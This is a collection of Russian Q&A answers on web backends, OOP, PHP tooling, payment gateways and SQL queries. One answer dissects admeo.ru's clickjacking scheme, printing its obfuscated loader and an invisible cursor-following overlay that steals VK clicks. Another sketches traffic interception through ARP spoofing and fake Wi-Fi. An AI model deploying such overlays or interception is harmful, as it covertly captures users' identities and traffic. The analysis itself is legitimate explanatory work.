• Какой язык подойдёт для бекенда web-приложения?

    saboteur_kiev
    @saboteur_kiev Куратор тега Веб-разработка
    software engineer

    Язык должен быть компилируемого, а не интерпретируемого типа.
    Он должен быть кросс-платформенным (windows, linux) и не вызывать проблем при работе ни на том, ни на другом.

    Почему?
    Современные интерпретируемые java и python, да и php уже догоняет уже не совсем интерпретируемые, и используют jit компиляцию. По скорости уже вполне норм.

    Он не должен тянуть за собой тонны легаси и проприетарщины просто для работы, должен быть более-менее независимым.

    Тонны легаси и проприетарщины тянет не язык, а программист.
    Судя по вашим требованиям и оверхед подходу к выбору языка, вы только ТЗ будете писать месяцами. А к тому моменту, как вы выпустите в продакшн само прилжение, оно уже станет легаси.

    Программа, написанная на таком языке, не должна есть много памяти из-за каких-нибудь там виртуальных машин, не должна течь и вообще должна занимать ровно столько памяти, сколько ей нужно.

    А как зависит "течь" от языка? Это зависит от криворукости программиста.

    Должно быть более-менее легко производить дебаг, в том числе желательно и удалённый.

    То есть программа не должна есть много памяти, но при этом легко производить удаленный дебаг?

    Быстродействие. Не то, что бы у меня хай-лоад, но я хочу, чтобы быстродействие моего кода больше зависело от меня, нежели от языка.

    Быстродействие всегда и зависит от программиста..

    Вообще, может быть рассмотрите ассемблер? На нем даже веб сервер уже есть написанный, и стандарты в нем есть, и компилируемый, и программа в нем точно занимает ровно столько, сколько вы ей дали.
    Ответ написан
    7 комментариев
  • Какой принцип работы acceptance tests в Yii2?

    @Skit25
    на всё воля Бога
    Там же есть вывод ошибок, тест не просто валится, он еще и говорит почему он так поступил.
    Ответ написан
    Комментировать
  • Как снять трафик с приложения Instagram?

    1) В настройках подключения интернета настройте ПК/Ноутбук как прокси. Трафик будет проходить через дополнительное устройство, на котором запустите Wireshark.
    2) Раздавайте интернет через ПК/Ноут и делайте тоже самое.
    3) Если роутер поддерживает (очень редко).
    4) ARP spoofing. Как прокси.
    5) Пробовать программы для телефонов, вроде Packet Capture. С WP можно подключить к ПК и использовать ActiveSync, получается как варинат "2".
    6) Запустить Kali Linux на виртуальной машине + USB WIFI свисток -> fake WIFI, и ловить все что угодно.
    Ответ написан
    1 комментарий
  • Что почитать об администрировании линукс для пользователя?

    CityCat4
    @CityCat4 Куратор тега Информационная безопасность
    //COPY01 EXEC PGM=IEBGENER
    Администрирование - это набор практик. Ставьте конкретную задачу - и начинайте ее решать, попутно гугля все вопросы - и к концу решения задачи сами сможете консультировать :)
    Ответ написан
    Комментировать
  • Плохо ли создавать проекты с нуля? Что значит быть про?

    ТС, надеюсь никому никогда не придется работать с тобой в команде и поддерживать твой код. Одно дело не знать, спрашивать и прислушиваться, другое дело гнуть свою кривую линию.
    Ответ написан
    4 комментария
  • Как вы освоили шаблоны проектирования?

    SynCap
    @SynCap
    Делаю интернет с 1998 года
    блин, вот - волшебная таблетка

    10 минут - и можно выгибать пальцы в крутых курилках и на собеседованиях
    Ответ написан
    Комментировать
  • Как вы освоили шаблоны проектирования?

    27cm
    @27cm
    TODO: Написать статус
    Вот вам 12 маленьких задач на 12 паттернов:
    github.com/zfcampus/zendcon-design-patterns

    1. Открываете папку с паттерном.
    2. Читаете README.md с описание задачи.
    3. Открываете exercise.php и пытаетесь решить задачу, применив соответствующий паттерн.
    4. При необходимости вспоминаете теорию: github.com/domnikl/DesignPatternsPHP
    5. Сверяетесь с решением в solution.php.
    Ответ написан
    7 комментариев
  • Как перенять объектно-ориентированное мышление?

    customtema
    @customtema
    arint.ru
    Честно? Всего две книжки. Хотя бы по диагонали.

    • "Рефакторинг" Мартин Фаулер
    • "Архитектура корпоративных приложений" Мартин Фаулер


    Расширение сознания гарантированно.
    Ответ написан
    1 комментарий
  • Как перенять объектно-ориентированное мышление?

    Fesor
    @Fesor
    Full-stack developer (Symfony, Angular)
    Т.е. сложно понимаю, что "засунуть" в один объект, что в другой, что должно быть статическим методом, что приватным и тд.


    Давайте попробуем строить аналогии. Представьте что ваше приложение состоит исключительно из глобальных переменных и функций, которые с ними работают. Я думаю это не сложно представить. В каждый момент времени вам доступна любая переменная.

    То есть по сути наше приложение - один объект. У него внутри вообще все. У этого объекта есть один метод - обработай запрос. Когда внешний мир его вызывает, меняются значения каких-то переменных, вызываются какие-то внутренние "приватные" для внешнего мира функции, и делается работа.

    Теперь задумаемся о декомпозиции всего этого хаоса. Мы находим какую-то задачу, которую выполняет наш код (например какую функцию вызвать для обработки каждого конкретного запроса) и выносим это в отдельный объект. Отправка email-ов - отдельный объект. Весь SQL зашиваем в отдельный объект. Соединение с базой - объект. Пользователи - объекты. Все - объекты.

    И главное, у каждого объекта есть своя область ответственности. UNIX way. Каждый объект делает что-то одно и делает это хорошо. Бывает так что ну... нужно сделать так что бы один объект делал две вещи. НЕ вопрос, мы можем его попросить сделать что-то сложное, а он будет как хороший менеджер тупо делегировать работу другим объектом. То есть он и сложную штуку сделает, и сам не будет знать как она делается.

    А все безхозные функции, которые не пренадлежат никаким объектам (например функции порождающие объекты) можно вынести в статические методы. Главное что бы статичесих переменных у нас небыло (ибо это те же глобальные переменные). И поменьше публичного ибо черт его знает что эти разработчики будут использовать. Причем "те разработчики" это вы завтра.

    Вообщем писав всё время на процедурке, сложно перейти на ооп.


    Просто не думайте что это что-то "принципиально другое". Это та же самая процедурка, просто благодаря классам и объектам, вы можете порезать систему на маленькие модули. Данные будут лежать рядом с процедурами и у вас будет больше контроля за происходящим.

    Вы можете начать погружаться в ООП с того, что разобраться "почему глобальные переменные это плохо", почему "состояние порождает сложность" и что такое эта "сложность" (многие почему-то думают что сложность выражается в написании кода а не в его чтении или поддержке), почему "изоляция" (и как следствие инкапсуляция) - это хорошо. Как это все соотносится с декомпозицией. Что такое "ответственность", что такое зависимости, связанности

    Подскажите, какой проект начать писать (гостевая, блог), или может начать изучать фреймворк.


    Фреймворки универсальны, а значит чистого ООП там быть не может. Во всяком случае нет ни одного фреймворка на котором стоит учиться ООП.

    Есть хорошие упражнения на развитие понимания объектно-ориентированного проектирования. Например вот: https://habrahabr.ru/post/206802/

    Сразу хочу отметить что это крайности. Упражнения же. Они должны ограничивать вас что бы заставлять думать и задавать правильные вопросы.

    Или может подскажите книгу/сайт где пошагово в ооп написан какой-то проект, чтобы быстрее пришло понимание.


    Так вы научитесь делать один конкретный проект а на втором вы уже проиграете. Так дела не делаются. Надо разобраться с причинами появления идеи ООП. Ну то есть что было до. Можно еще с функциональным программированием попробовать разобраться. В PHP оно слабо применимо, но основные идеи очень тесно переплетаются с ООП и познав немного функциональщины ваше ООП будет лучше. Да и если про ООП вы можете найти много булшита, про функциональщину врут мало.
    Ответ написан
    3 комментария
  • Что учить, чтобы расти в сторону DevOps?

    Sanes
    @Sanes
    А вы и не сможете всё знать. DevOps это, как эникей. Куда ветер подул, то и учит.
    Ответ написан
    8 комментариев
  • Кто как делает html формы?

    @jaxel
    Не использовать фреймфорки в 2016 году - значит говнокодить. В symfony 2/3 отличный модуль для работы с формами.
    Ответ написан
    3 комментария
  • Как пишутся системы оплаты для сайта?

    DmitriyEntelis
    @DmitriyEntelis
    Думаю за деньги
    Как осуществляется написание платежной системы касательно visa и mastercard или для конкретного банка? что делается в данном случае? (Допустим требуется работа со сбербанком и альфабанком).

    Из личного опыта:
    a. Приезжаете в офис банка у которого есть услуга "интернет эквайринг", показываете своё юрлицо, уставные документы, бенефициаров, обороты от 50 млн в месяц.
    * некоторые работают и с меньшими оборотами, но % будет крайне не выгодным.
    ** без запущенного и работающего проекта идти в банк бессмысленно.
    b. Ждете 2-6 недель пока СБ банка проверит все.
    c. Ждете 2-4 недели пока банк подпишет договор
    d. Получаете реквизиты и документацию API конкретного банка.
    e. Реализуете
    f. Ждете 1-2 недели пока банк проверит что у Вас все согласно их протоколу.
    g. Получаете боевые реквизиты.

    Учтите что:
    1. Если Ваши объемы меньше чем 50млн+ в месяц - с вероятностью 99% Вам будет СИЛЬНО выгоднее работать через посредника. Посмотрите на uniteller.ru , payture.com/ru , payler.com - если Вы будете достаточно убедительны на переговорах, вполне реально сторговать их до 2-2.5% даже на маленьких оборотах (1млн-5млн)

    2. Прямые API банков мягко говоря не современны. Как правило там не будет ни удобного личного кабинета, ни вменяемой службы поддержки - ничего. Зато будут проверки, требования бумажной отчетности и прочие милые сердцу советского бюрократа вещи.

    3. Риски при работе через посредника - по факту минимальны. Все приведенные выше делают выплаты ежесуточно, т.е даже если посредник накроется - Вы максимум рискуете дневным оборотом.

    С учетом данных пунктов, по моему мнению прямой договор с банком имеет смысл если у Вас настолько большие обороты - что разница в десятые доли процента окупает весь этот геморрой.
    По факту есть море проектов с большими оборотами (mamba, badoo, etc) кто продолжает работать через агрегатор, минимизируя расходы на юристов, бухгалтеров, техническую поддержку работы шлюза итд итп.
    Ответ написан
    1 комментарий
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Как нужно делать рассылку со своего сайта (сервера)?

    @xtreme
    Снимаю порчу по SSH :)
    1. Изучить рекомендации по рассылкам у крупных почтовых сервисов (Google, Yandex, Mail.ru). При подготовке писем для рассылки строго следовать их рекомендациям.
    2. Зарегистрироваться в postmaster.yandex.ru, postmaster.mail.ru, чтобы следить за ходом рассылки писем.
    3. Отлавливать недоставленные письма, убирать их из листов рассылки, дабы не мусорить.
    4. Сделать механизм отписки от рассылки (это один из критериев пункта 1), причем 100% работающий в один клик.
    5. Мониторить нажатие кнопки "Спам" в вышеуказанных почтовых сервисах, также сразу исключать их из будущих рассылок.

    1к подписчиков - это мелочь. Можешь пробовать отсылать сразу все письма на свой почтовый релей (для 1к хватит и одного релея), даже почти дефолтно настроенный MTA будет рассылать с нужными интервалами.

    Обязательное условие - соблюдать все почтовые правила и не пренебрегать цифровыми подписями - SPF, DKIM, DMARC, правильные записи в DNS (A, MX, PTR).
    Ответ написан
    10 комментариев
  • Из чего состоит окружение продвинутого php разработчика?

    nonlux
    @nonlux
    Поправил ответ, так будет логичнее.
    Ниже приведены инструменты, которые использую лично я и причины почему.

    1. docker-окружение
    (в 90% случаев для веб-разработки достаточно php -S 0.0.0.0:8000)
    виртуальные машину становятся нужны:
    - когда надоест переустанавливать хост-систему из-за обилия хлама
    - когда работаешь с несколькими проектами имеющие специфические (разные) настройки окружения(php, web-сервер, база)
    - когда надоест решать проблемы в команде из-за того что по разному настроено окружение

    2. git - система контроля версий
    Помнить что ты и когда изменял, должен не человек, а машина.
    Это необходимо:
    - чтобы не испортить всю работы за прошедший год нажав del
    - чтобы определить кто из команды злодей и все испортил
    - чтобы не думать как перенести свежую версию проекта с одной машины на другую

    3. composer - пакетный менеджер для php
    Нужно, когда лениво помнить все ссылки на все php библиотеки, самому качать их, подключать в автозагрузку

    4. behat + phpspec
    Тесты нужны:
    - когда хочется почувствовать себя безопасности и для сладко спать ночь, забыв о кошмарах о сломанном коде
    - когда в production все снова сломалось
    - когда ты написал одну новую фичу, а сломал три

    5. zsh
    Хорошей консолью приятно пользоваться, работа идет быстрее.
    Консоль есть жизнь, жизнь есть shell.

    6. tmux
    Мало одно окошка в консоли, тогда tmux идет к вам.
    В качестве бонуса получите возможность парного программирования совершенно бесплатно

    7. tmuxinator
    Надоело каждый раз открывать кучу окон для tmux, попробуйте его )
    8. vim
    - Потянуло на что-нибудь необычное?
    - Хочется эффективнее писать код ?
    Ну что открыли vim? В первый раз? Поздравляю закрыть вы его не сможете )
    Вызывает зависимость при частом потреблении


    9. continuous integration сервер
    Вообще ci сервер это одушевленная машина. Это твой тамагочи, ты кормишь его хорошим кодом, он радуется и ты видишь приятный зеленый огонек. Если ты дал с код от скажет что не вкусно. Ну а если ты ему, что гнилое он будет долго на тебя орать плохими словами. Со временем он растет и учится делать более серьезные вещи, и начнет помогать тебе:
    Его скилы:
    - он может сам выполнить 10 минутные тесты
    - подготовить и опубликовать проект
    - рассказать о твоем коде, даже то что ты не знаешь
    Он легко обучается и ты легко сможешь научить его удивительным вещам.

    10. куча линтеров на pre commit hook
    Чтобы ci не кормить плохими продуктами, хорошо бы проверять что ты сделал до отправки на сервер. Что бы не забыть это сделать git сам работу.

    11. gulp
    gulp - это еще один твой помощник.
    как если использовать, как watcher файлов + livepreview, можно забыть о F5 в браузере

    12. bower
    Тоже что и composer но для управления ассетами. Это я о всяких jQuery и Bootstrap

    666. Линукс
    Даже если не хочется ставить как хост-систему, его все равно надо знать. Ваш код будет работать на нем )
    Ответ написан
    16 комментариев
  • Из чего состоит окружение продвинутого php разработчика?

    Fesor
    @Fesor
    Full-stack developer (Symfony, Angular)
    Docker или Vagrant + Ansible/Puppet для окружения.
    Ответ написан
    Комментировать
  • Из чего состоит окружение продвинутого php разработчика?

    sivabur
    @sivabur
    Заблокировали просто так!
    PhpStorm(IDE)+lamp(сборка сервера)+composer(менеджер пакетоа)+git(контроль версий)
    Ответ написан
    Комментировать
  • Как реализовывать фабрики в Yii2 и для чего они нужны?

    SamDark
    @SamDark
    Yii2 core team
    Так же, как и без Yii: https://sourcemaking.com/design_patterns/abstract_...
    Ответ написан
    Комментировать
  • Как грамотно составить запрос к серверу баз данных?

    @Wol_fi
    php, js, mysql, highload
    1. Все публикации одного автора, принадлежащие к одному журналу (в бд всего три журнала и автор, чисто гипотетически может печататься в любом).

    SELECT a.* 
    FROM ArticlesAuthors aa 
    INNER JOIN  Articles a ON aa.article_id = a.id 
    INNER JOIN  Issue i ON a.fk_issue = i.id 
    INNER JOIN Journals j ON i.fk_journal_id = j.id 
    WHERE aa.author_id = %нужный айди автора% 
    AND j.id = %нужный айди журнала%

    2. Далее полученную выборку надо рассортировать по годам, журналам и выпускам. Например, у автора M было N публикации в журнале X в году Y.

    SELECT aa.author_id, j.id, yoi.year_issue, count(a.*) 
    FROM ArticlesAuthors aa 
    INNER JOIN  Articles a ON aa.article_id = a.id 
    INNER JOIN  Issue i ON a.fk_issue = i.id 
    INNER JOIN Journals j ON i.fk_journal_id = j.id 
    INNER JOIN YearOfIssue yoi ON i.fk_year_of_issue = yoi.id 
    GROUP BY aa.author_id, j.id, yoi.year_issue

    Насчёт второго запроса - не уверен, надо тестить, но вроде так.

    P.S. Таблица YearOfIssue лишняя, насклько я понимаю, у каждого выпуска только 1 год, добавьте столбец year в Issue, а таблицу YearOfIssue снесите. Лишняя фрагментация данных и минус 1 джоин в запросах.
    Ответ написан
    Комментировать
  • Как грамотно составить запрос к серверу баз данных?

    Stalker_RED
    @Stalker_RED
    SELECT * from ArtichesAuthors
    LEFT JOIN articles ON articles.id=ArtichesAuthors.author_id
    LEFT JOIN Journals ON ...
    LEFT JOIN Issue ON ...
    LEFT JOIN YearOfIssue ON ...
    WHERE author_id=1
    Ответ написан
    Комментировать